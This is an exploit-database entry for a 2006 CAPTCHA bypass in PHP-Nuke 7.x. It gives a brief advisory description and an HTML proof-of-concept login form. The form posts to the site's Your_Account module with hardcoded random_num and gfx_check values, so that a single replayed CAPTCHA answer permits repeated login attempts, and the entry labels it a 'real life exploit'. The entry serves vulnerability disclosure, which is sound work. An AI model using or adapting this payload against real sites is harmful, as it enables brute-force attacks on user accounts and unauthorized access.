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PHP-Nuke 7.x - CAPTCHA Bypass
source: https://www.securityfocus.com/bid/16722/info
The CAPTCHA implementation of PHPNuke may be bypassed by remote attackers due to a design error.
This may be used to carry out other attacks such as brute-force attempts against the login page.
[------ real life exploit ------]
<html>
<head>
<title>phpNuke CAPTHCA bypass POC</title>
</head>
<body>
<center>
<br><br><br><br>
<form action="http://localhost/nuke78/modules.php?name=Your_Account" method="post">
Username: <input type="text" name="username" size="15" maxlength="25"><br>
Password: <input type="password" name="user_password" size="15" maxlength="20"><br>
<input type="hidden" name="random_num" value="112652">
<input type="hidden" name="gfx_check" value="304380">
<input type="hidden" name="op" value="login">
<input type="submit" value="Login">
</form>
<br><br><br><br>
</center>
</body>
</html>
[----- /real life exploit ------]Data
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18 Feb 2006 00:00Current
7.4High risk
Vulners AI Score7.4